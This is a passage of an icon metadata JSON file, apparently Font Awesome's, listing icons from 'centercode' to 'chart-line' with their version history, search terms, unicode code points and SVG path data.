        "path": "M224 0c17.7 0 32 14.3 32 32V66.7c30.9 5.2 59.2 17.7 83.2 35.8c14.1 10.6 17 30.7 6.4 44.8s-30.7 17-44.8 6.4C279.4 137.5 252.9 128 224 128c-70.7 0-128 57.3-128 128s57.3 128 128 128c28.9 0 55.4-9.5 76.8-25.6c14.1-10.6 34.2-7.8 44.8 6.4s7.8 34.2-6.4 44.8c-24 18-52.4 30.6-83.2 35.8V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V445.3C101.2 430.1 32 351.1 32 256s69.2-174.1 160-189.3V32c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "centercode": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f380",
    "label": "Centercode",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z"
      }
    },
    "free": ["brands"]
  },
  "centos": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["linux", "operating system", "os"]
    },
    "styles": ["brands"],
    "unicode": "f789",
    "label": "Centos",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z"
      }
    },
    "free": ["brands"]
  },
  "certificate": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0a3"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["badge", "star", "verified"]
    },
    "styles": ["solid"],
    "unicode": "f0a3",
    "label": "Certificate",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M211 7.3C205 1 196-1.4 187.6 .8s-14.9 8.9-17.1 17.3L154.7 80.6l-62-17.5c-8.4-2.4-17.4 0-23.5 6.1s-8.5 15.1-6.1 23.5l17.5 62L18.1 170.6c-8.4 2.1-15 8.7-17.3 17.1S1 205 7.3 211l46.2 45L7.3 301C1 307-1.4 316 .8 324.4s8.9 14.9 17.3 17.1l62.5 15.8-17.5 62c-2.4 8.4 0 17.4 6.1 23.5s15.1 8.5 23.5 6.1l62-17.5 15.8 62.5c2.1 8.4 8.7 15 17.1 17.3s17.3-.2 23.4-6.4l45-46.2 45 46.2c6.1 6.2 15 8.7 23.4 6.4s14.9-8.9 17.1-17.3l15.8-62.5 62 17.5c8.4 2.4 17.4 0 23.5-6.1s8.5-15.1 6.1-23.5l-17.5-62 62.5-15.8c8.4-2.1 15-8.7 17.3-17.1s-.2-17.3-6.4-23.4l-46.2-45 46.2-45c6.2-6.1 8.7-15 6.4-23.4s-8.9-14.9-17.3-17.1l-62.5-15.8 17.5-62c2.4-8.4 0-17.4-6.1-23.5s-15.1-8.5-23.5-6.1l-62 17.5L341.4 18.1c-2.1-8.4-8.7-15-17.1-17.3S307 1 301 7.3L256 53.5 211 7.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M211 7.3C205 1 196-1.4 187.6 .8s-14.9 8.9-17.1 17.3L154.7 80.6l-62-17.5c-8.4-2.4-17.4 0-23.5 6.1s-8.5 15.1-6.1 23.5l17.5 62L18.1 170.6c-8.4 2.1-15 8.7-17.3 17.1S1 205 7.3 211l46.2 45L7.3 301C1 307-1.4 316 .8 324.4s8.9 14.9 17.3 17.1l62.5 15.8-17.5 62c-2.4 8.4 0 17.4 6.1 23.5s15.1 8.5 23.5 6.1l62-17.5 15.8 62.5c2.1 8.4 8.7 15 17.1 17.3s17.3-.2 23.4-6.4l45-46.2 45 46.2c6.1 6.2 15 8.7 23.4 6.4s14.9-8.9 17.1-17.3l15.8-62.5 62 17.5c8.4 2.4 17.4 0 23.5-6.1s8.5-15.1 6.1-23.5l-17.5-62 62.5-15.8c8.4-2.1 15-8.7 17.3-17.1s-.2-17.3-6.4-23.4l-46.2-45 46.2-45c6.2-6.1 8.7-15 6.4-23.4s-8.9-14.9-17.3-17.1l-62.5-15.8 17.5-62c2.4-8.4 0-17.4-6.1-23.5s-15.1-8.5-23.5-6.1l-62 17.5L341.4 18.1c-2.1-8.4-8.7-15-17.1-17.3S307 1 301 7.3L256 53.5 211 7.3z"
      }
    },
    "free": ["solid"]
  },
  "chair": {
    "aliases": {
      "unicodes": {
        "composite": ["1fa91"],
        "secondary": ["10f6c0"]
      }
    },
    "changes": ["5.4.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chair", "furniture", "seat", "sit"]
    },
    "styles": ["solid"],
    "unicode": "f6c0",
    "label": "Chair",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M248 48V256h48V58.7c23.9 13.8 40 39.7 40 69.3V256h48V128C384 57.3 326.7 0 256 0H192C121.3 0 64 57.3 64 128V256h48V128c0-29.6 16.1-55.5 40-69.3V256h48V48h48zM48 288c-12.1 0-23.2 6.8-28.6 17.7l-16 32c-5 9.9-4.4 21.7 1.4 31.1S20.9 384 32 384l0 96c0 17.7 14.3 32 32 32s32-14.3 32-32V384H352v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384c11.1 0 21.4-5.7 27.2-15.2s6.4-21.2 1.4-31.1l-16-32C423.2 294.8 412.1 288 400 288H48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M248 48V256h48V58.7c23.9 13.8 40 39.7 40 69.3V256h48V128C384 57.3 326.7 0 256 0H192C121.3 0 64 57.3 64 128V256h48V128c0-29.6 16.1-55.5 40-69.3V256h48V48h48zM48 288c-12.1 0-23.2 6.8-28.6 17.7l-16 32c-5 9.9-4.4 21.7 1.4 31.1S20.9 384 32 384l0 96c0 17.7 14.3 32 32 32s32-14.3 32-32V384H352v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384c11.1 0 21.4-5.7 27.2-15.2s6.4-21.2 1.4-31.1l-16-32C423.2 294.8 412.1 288 400 288H48z"
      }
    },
    "free": ["solid"]
  },
  "chalkboard": {
    "aliases": {
      "names": ["blackboard"],
      "unicodes": {
        "secondary": ["10f51b"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "blackboard",
        "learning",
        "school",
        "teaching",
        "whiteboard",
        "writing"
      ]
    },
    "styles": ["solid"],
    "unicode": "f51b",
    "label": "Chalkboard",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 32C60.7 32 32 60.7 32 96V384H96V96l384 0V384h64V96c0-35.3-28.7-64-64-64H96zM224 384v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H416V384c0-17.7-14.3-32-32-32H256c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 32C60.7 32 32 60.7 32 96V384H96V96l384 0V384h64V96c0-35.3-28.7-64-64-64H96zM224 384v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H416V384c0-17.7-14.3-32-32-32H256c-17.7 0-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "chalkboard-user": {
    "aliases": {
      "names": ["chalkboard-teacher"],
      "unicodes": {
        "secondary": ["10f51c"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "blackboard",
        "instructor",
        "learning",
        "professor",
        "school",
        "whiteboard",
        "writing"
      ]
    },
    "styles": ["solid"],
    "unicode": "f51c",
    "label": "Chalkboard User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M160 64c0-35.3 28.7-64 64-64H576c35.3 0 64 28.7 64 64V352c0 35.3-28.7 64-64 64H336.8c-11.8-25.5-29.9-47.5-52.4-64H384V320c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32v32h64V64L224 64v49.1C205.2 102.2 183.3 96 160 96V64zm0 64a96 96 0 1 1 0 192 96 96 0 1 1 0-192zM133.3 352h53.3C260.3 352 320 411.7 320 485.3c0 14.7-11.9 26.7-26.7 26.7H26.7C11.9 512 0 500.1 0 485.3C0 411.7 59.7 352 133.3 352z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M160 64c0-35.3 28.7-64 64-64H576c35.3 0 64 28.7 64 64V352c0 35.3-28.7 64-64 64H336.8c-11.8-25.5-29.9-47.5-52.4-64H384V320c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32v32h64V64L224 64v49.1C205.2 102.2 183.3 96 160 96V64zm0 64a96 96 0 1 1 0 192 96 96 0 1 1 0-192zM133.3 352h53.3C260.3 352 320 411.7 320 485.3c0 14.7-11.9 26.7-26.7 26.7H26.7C11.9 512 0 500.1 0 485.3C0 411.7 59.7 352 133.3 352z"
      }
    },
    "free": ["solid"]
  },
  "champagne-glasses": {
    "aliases": {
      "names": ["glass-cheers"],
      "unicodes": {
        "composite": ["1f942"],
        "secondary": ["10f79f"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "bar",
        "beverage",
        "celebrate",
        "celebration",
        "champagne",
        "clink",
        "clinking glasses",
        "drink",
        "glass",
        "holiday",
        "new year's eve",
        "party",
        "toast"
      ]
    },
    "styles": ["solid"],
    "unicode": "f79f",
    "label": "Champagne Glasses",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M155.6 17.3C163 3 179.9-3.6 195 1.9L320 47.5l125-45.6c15.1-5.5 32 1.1 39.4 15.4l78.8 152.9c28.8 55.8 10.3 122.3-38.5 156.6L556.1 413l41-15c16.6-6 35 2.5 41 19.1s-2.5 35-19.1 41l-71.1 25.9L476.8 510c-16.6 6.1-35-2.5-41-19.1s2.5-35 19.1-41l41-15-31.3-86.2c-59.4 5.2-116.2-34-130-95.2L320 188.8l-14.6 64.7c-13.8 61.3-70.6 100.4-130 95.2l-31.3 86.2 41 15c16.6 6 25.2 24.4 19.1 41s-24.4 25.2-41 19.1L92.2 484.1 21.1 458.2c-16.6-6.1-25.2-24.4-19.1-41s24.4-25.2 41-19.1l41 15 31.3-86.2C66.5 292.5 48.1 226 76.9 170.2L155.6 17.3zm44 54.4l-27.2 52.8L261.6 157l13.1-57.9L199.6 71.7zm240.9 0L365.4 99.1 378.5 157l89.2-32.5L440.5 71.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M155.6 17.3C163 3 179.9-3.6 195 1.9L320 47.5l125-45.6c15.1-5.5 32 1.1 39.4 15.4l78.8 152.9c28.8 55.8 10.3 122.3-38.5 156.6L556.1 413l41-15c16.6-6 35 2.5 41 19.1s-2.5 35-19.1 41l-71.1 25.9L476.8 510c-16.6 6.1-35-2.5-41-19.1s2.5-35 19.1-41l41-15-31.3-86.2c-59.4 5.2-116.2-34-130-95.2L320 188.8l-14.6 64.7c-13.8 61.3-70.6 100.4-130 95.2l-31.3 86.2 41 15c16.6 6 25.2 24.4 19.1 41s-24.4 25.2-41 19.1L92.2 484.1 21.1 458.2c-16.6-6.1-25.2-24.4-19.1-41s24.4-25.2 41-19.1l41 15 31.3-86.2C66.5 292.5 48.1 226 76.9 170.2L155.6 17.3zm44 54.4l-27.2 52.8L261.6 157l13.1-57.9L199.6 71.7zm240.9 0L365.4 99.1 378.5 157l89.2-32.5L440.5 71.7z"
      }
    },
    "free": ["solid"]
  },
  "charging-station": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5e7"]
      }
    },
    "changes": [
      "5.2.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["electric", "ev", "tesla", "vehicle"]
    },
    "styles": ["solid"],
    "unicode": "f5e7",
    "label": "Charging Station",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C60.7 0 32 28.7 32 64V448c-17.7 0-32 14.3-32 32s14.3 32 32 32H320c17.7 0 32-14.3 32-32s-14.3-32-32-32V304h16c22.1 0 40 17.9 40 40v32c0 39.8 32.2 72 72 72s72-32.2 72-72V252.3c32.5-10.2 56-40.5 56-76.3V144c0-8.8-7.2-16-16-16H544V80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H480V80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H432c-8.8 0-16 7.2-16 16v32c0 35.8 23.5 66.1 56 76.3V376c0 13.3-10.7 24-24 24s-24-10.7-24-24V344c0-48.6-39.4-88-88-88H320V64c0-35.3-28.7-64-64-64H96zM216.9 82.7c6 4 8.5 11.5 6.3 18.3l-25 74.9H256c6.7 0 12.7 4.2 15 10.4s.5 13.3-4.6 17.7l-112 96c-5.5 4.7-13.4 5.1-19.3 1.1s-8.5-11.5-6.3-18.3l25-74.9H96c-6.7 0-12.7-4.2-15-10.4s-.5-13.3 4.6-17.7l112-96c5.5-4.7 13.4-5.1 19.3-1.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C60.7 0 32 28.7 32 64V448c-17.7 0-32 14.3-32 32s14.3 32 32 32H320c17.7 0 32-14.3 32-32s-14.3-32-32-32V304h16c22.1 0 40 17.9 40 40v32c0 39.8 32.2 72 72 72s72-32.2 72-72V252.3c32.5-10.2 56-40.5 56-76.3V144c0-8.8-7.2-16-16-16H544V80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H480V80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H432c-8.8 0-16 7.2-16 16v32c0 35.8 23.5 66.1 56 76.3V376c0 13.3-10.7 24-24 24s-24-10.7-24-24V344c0-48.6-39.4-88-88-88H320V64c0-35.3-28.7-64-64-64H96zM216.9 82.7c6 4 8.5 11.5 6.3 18.3l-25 74.9H256c6.7 0 12.7 4.2 15 10.4s.5 13.3-4.6 17.7l-112 96c-5.5 4.7-13.4 5.1-19.3 1.1s-8.5-11.5-6.3-18.3l25-74.9H96c-6.7 0-12.7-4.2-15-10.4s-.5-13.3 4.6-17.7l112-96c5.5-4.7 13.4-5.1 19.3-1.1z"
      }
    },
    "free": ["solid"]
  },
  "chart-area": {
    "aliases": {
      "names": ["area-chart"],
      "unicodes": {
        "secondary": ["10f1fe"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["analytics", "area", "chart", "graph"]
    },
    "styles": ["solid"],
    "unicode": "f1fe",
    "label": "Chart Area",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V400c0 44.2 35.8 80 80 80H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H80c-8.8 0-16-7.2-16-16V64zm96 288H448c17.7 0 32-14.3 32-32V251.8c0-7.6-2.7-15-7.7-20.8l-65.8-76.8c-12.1-14.2-33.7-15-46.9-1.8l-21 21c-10 10-26.4 9.2-35.4-1.6l-39.2-47c-12.6-15.1-35.7-15.4-48.7-.6L135.9 215c-5.1 5.8-7.9 13.3-7.9 21.1v84c0 17.7 14.3 32 32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V400c0 44.2 35.8 80 80 80H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H80c-8.8 0-16-7.2-16-16V64zm96 288H448c17.7 0 32-14.3 32-32V251.8c0-7.6-2.7-15-7.7-20.8l-65.8-76.8c-12.1-14.2-33.7-15-46.9-1.8l-21 21c-10 10-26.4 9.2-35.4-1.6l-39.2-47c-12.6-15.1-35.7-15.4-48.7-.6L135.9 215c-5.1 5.8-7.9 13.3-7.9 21.1v84c0 17.7 14.3 32 32 32z"
      }
    },
    "free": ["solid"]
  },
  "chart-bar": {
    "aliases": {
      "names": ["bar-chart"],
      "unicodes": {
        "secondary": ["10f080"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["analytics", "bar", "chart", "graph"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f080",
    "label": "Chart Bar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32c17.7 0 32 14.3 32 32V400c0 8.8 7.2 16 16 16H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H80c-44.2 0-80-35.8-80-80V64C0 46.3 14.3 32 32 32zm96 96c0-17.7 14.3-32 32-32l192 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-192 0c-17.7 0-32-14.3-32-32zm32 64H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H160c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H160c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32c17.7 0 32 14.3 32 32V400c0 8.8 7.2 16 16 16H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H80c-44.2 0-80-35.8-80-80V64C0 46.3 14.3 32 32 32zm96 96c0-17.7 14.3-32 32-32l192 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-192 0c-17.7 0-32-14.3-32-32zm32 64H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H160c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H160c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      },
      "regular": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M24 32c13.3 0 24 10.7 24 24V408c0 13.3 10.7 24 24 24H488c13.3 0 24 10.7 24 24s-10.7 24-24 24H72c-39.8 0-72-32.2-72-72V56C0 42.7 10.7 32 24 32zM128 136c0-13.3 10.7-24 24-24l208 0c13.3 0 24 10.7 24 24s-10.7 24-24 24l-208 0c-13.3 0-24-10.7-24-24zm24 72H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24zm0 96H424c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M24 32c13.3 0 24 10.7 24 24V408c0 13.3 10.7 24 24 24H488c13.3 0 24 10.7 24 24s-10.7 24-24 24H72c-39.8 0-72-32.2-72-72V56C0 42.7 10.7 32 24 32zM128 136c0-13.3 10.7-24 24-24l208 0c13.3 0 24 10.7 24 24s-10.7 24-24 24l-208 0c-13.3 0-24-10.7-24-24zm24 72H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24zm0 96H424c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chart-column": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bar", "bar chart", "chart", "graph", "track", "trend"]
    },
    "styles": ["solid"],
    "unicode": "e0e3",
    "label": "Chart Column",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32c17.7 0 32 14.3 32 32V400c0 8.8 7.2 16 16 16H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H80c-44.2 0-80-35.8-80-80V64C0 46.3 14.3 32 32 32zM160 224c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V256c0-17.7 14.3-32 32-32zm128-64V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32zm64 32c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32zM480 96V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V96c0-17.7 14.3-32 32-32s32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32c17.7 0 32 14.3 32 32V400c0 8.8 7.2 16 16 16H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H80c-44.2 0-80-35.8-80-80V64C0 46.3 14.3 32 32 32zM160 224c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V256c0-17.7 14.3-32 32-32zm128-64V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32zm64 32c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32zM480 96V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V96c0-17.7 14.3-32 32-32s32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "chart-gantt": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chart", "graph", "track", "trend"]
    },
    "styles": ["solid"],
    "unicode": "e0e4",
    "label": "Chart Gantt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32c17.7 0 32 14.3 32 32V400c0 8.8 7.2 16 16 16H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H80c-44.2 0-80-35.8-80-80V64C0 46.3 14.3 32 32 32zm96 96c0-17.7 14.3-32 32-32l96 0c17.7 0 32 14.3 32 32s-14.3 32-32 32H160c-17.7 0-32-14.3-32-32zm96 64H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zm160 96h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32c17.7 0 32 14.3 32 32V400c0 8.8 7.2 16 16 16H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H80c-44.2 0-80-35.8-80-80V64C0 46.3 14.3 32 32 32zm96 96c0-17.7 14.3-32 32-32l96 0c17.7 0 32 14.3 32 32s-14.3 32-32 32H160c-17.7 0-32-14.3-32-32zm96 64H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zm160 96h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "chart-line": {
    "aliases": {
      "names": ["line-chart"],
      "unicodes": {
        "secondary": ["10f201"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "activity",
        "analytics",
        "chart",
        "dashboard",
        "gain",
        "graph",
        "increase",
        "line"
      ]
    },
    "styles": ["solid"],
    "unicode": "f201",
    "label": "Chart Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
